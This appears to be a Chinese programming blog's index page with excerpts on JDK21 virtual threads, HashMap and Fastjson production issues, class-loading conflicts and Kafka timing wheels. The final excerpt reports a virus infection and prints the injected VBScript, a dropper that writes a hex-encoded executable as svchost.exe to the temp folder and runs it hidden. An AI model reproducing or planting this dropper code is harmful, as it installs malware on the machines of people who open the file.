JDK21虚拟线程

虚拟线程是JDK21最重要的、可能会成为JDK8的lambda这样标志性的特性。这里对虚拟线程做原理级别的系统性分析。

虚拟线程的设计动机

对于后台服务器开发,一个请求对应一条处理线程,是最容易理解的服务器应用编程思路。但是,线程的数量会受到物理资源限制:比如默认Java线程会占用1MB内存,就会受到物理内存大小的限制;比如线程切换涉及内核态-用户态转换,需要频繁保存上下文,浪费CPU时间进行数据复制,受到CPU和带宽的限制。在海量请求到达时,线程资源会很快耗尽,成为主要的性能瓶颈。

早期的一个通常解法是:提高线程的利用率。一方面利用池化技术,减少线程创建销毁的开销,多余任务排队执行减少线程的数量;另一方面利用异步编程API(比如Future),在等待I/O时让出资源。但这样的后果是,一个请求的处理逻辑会被切分成很多段,执行-阻塞-回调-执行-阻塞-回调……这些段可能运行在不同的线程上,导致代码理解困难、调试困难。即使利用JDK8的CompletableFuture对并发编程逻辑做了编排,也只是治标而已。

而解决“线程数量限制”、“线程切换开销大”等问题的一个常用方案,就是构建用户态运行的“协程”。因此,Project Loom项目发起和推进Java的并发编程模型优化,其愿景为“write sync run async”,即“写同步代码,跑异步逻辑”。Loom提出了“纤程(Fiber)“的概念,并认为“纤程”由“续体(Continuation)”和“调度器(Scheduler)”两部分组成。而“纤程”在提供给用户的操作入口,称为“虚拟线程(Virtual Thread)”。“虚拟线程”资源几乎是无限的,每个请求都可以使用一个“虚拟线程”来执行业务逻辑。

阅读更多

HashMap扩容导致的生产问题

HashMap的扩容问题作为Java八股文的重要考点之一,已经背得滚瓜烂熟,但还是在生产中踩了坑(总有一个坑的形状适合你)。这里再记录一下当时的复盘。

问题概述

2023.10.27,某国0点开始,业务投放量同比前一天出现明显下跌(约30%),当天下午通过报表数据发现了此问题,晚上20:00修复代码后数据恢复。

问题发现过程

  • 11:00,下游业务触发限流,发现流量上涨了一倍多,但因临近大促以为是大促流量,直接调高了限流阈值,没有引起重视
  • 16:20,算法同学发现业务投放量有明显下跌,开始排查问题,看到是从0点开始,业务投放量同比昨天下跌了30%左右。排查入口流量,发现流量平稳,并没有大促带来的流量,说明可能是代码问题,排查陷入僵局
  • 19:00~20:00,找到问题原因,修复代码并发布
阅读更多

动态代理调用的实际运用

动态代理在实际工作中很难用到,通常都是一些底层组件才会使用,比如SpringAOP。但由于业务正在做“降本增效”的多租户改造,因此正好有了使用机会。

我们的业务分布在6个国家,每个国家都有独立的服务器、数据库、中间件,然而每个国家的用户数、使用APP时间段、使用习惯等各种因素导致服务器资源的使用效率不高:有的服务可能CPU在1%~10%使用率,为了高可用却仍然需要至少4台服务器,资源会有浪费。现在要做的就是把业务、服务器、数据库均合并,通过全链路携带“租户标记TenantId”来区分请求来源,所有国家共用服务器和数据库资源。

实现的方式很简单,类似skywalking这种tracing组件,利用ThreadLocal等数据结构,将类似“业务_国家_语言_货币单位”这种请求标记全链路传递。

阅读更多

Fastjson的$ref在接口参数兼容上的隐患

oldclass_newclass.jpg
假设应用1给应用2提供了一个接口,需要更新参数,将Map变为List<Map>,很容易写出这样的兼容代码:

1
2
3
4
5
6
7
8
9
10
11
@Data
public static class OldClass {
private Map<String, String> bbbb;
}

@Data
public static class NewClass {
private List<Map<String,String>> aaaa;
@Deprecated
private Map<String, String> bbbb;
}

然而在部署后发现,应用2拿到的数据对象中的bbbb,没有任何数据。

阅读更多

解决类加载冲突和pandora

项目开发中,我们会引入框架、工具类、SDK等依赖,这些依赖的包也会有依赖,层层嵌套。一个比较关键的问题是,如果不同依赖,都引用相同的一个底层依赖,但是是不同版本,就会出现引用冲突。

如下图,一个项目引入了Diamond 2.3.4HSF 1.2.3FastJson 1.2.0共3个组件。Diamond组件引入FastJson 1.1.0,HSF组件引入FastJson 1.0.0。当我们使用com.alibaba.fastjson.JSON.toJSONString(data)方法的时候,到底调用的是FastJson 1.0.0的方法、FastJson 1.1.0的方法,还是FastJson 1.2.0的方法呢?

import_confict.png

阅读更多

kafka分层时间轮实战和分析

之前分析了定时任务的数据结构演进,其中终极方案就是kafka的分层时间轮。现在实际编写一下kakfa的分层时间轮,并分析数据。

代码说明

代码部分,直接按kafka 0.11.0版本进行编写,给关键语句都加了自己的注释。

java scala
Poller kafka.utils.timer.TimerTest
SystemTimer kafka.utils.timer.SystemTimer(Timer里)
Timer kafka.utils.timer.Timer(trait Timer)
TimerTask kafka.utils.timer.TimerTask(trait TimerTask)
TimerTaskEntry kafka.utils.timer.TimerTaskEntry(TimerTaskList里)
TimerTaskList kafka.utils.timer.TimerTaskList
TimingWheel kafka.utils.timer.TimingWheel
阅读更多

定时任务演进和schedulerx

在很多业务场景下,都需要定时任务,比如”定时推送消息”、”定时计算报表”、”定时清理数据”等等。通常业务都是集群化的,定时任务通常不能每个机器单机执行,需要有个分布式协调器感知到集群,然后选中1台机器执行,所以出现了很多定时任务平台帮助处理定时任务。

定时任务有个核心的问题:如何知道时间到了?

阅读更多

中毒!HTML文件末尾被自动添加VBS的脚本

最近发现电脑变慢,并且html文件末尾被自动添加VBS脚本。开始还以为是编辑器添加的,后来在今日头条上看到一篇文章介绍才知道是病毒。用360扫描,1W多个文件都被感染,包括DLL、HTML、EXE。怪不得每次打开迅雷的时候360就会报毒,原来是DLL文件被感染了。添加的脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<SCRIPT Language=VBScript>
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF……"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
</SCRIPT>

WrtieData就是它输出的病毒,有兴趣可以下载WriteData.txt看一看。

阅读更多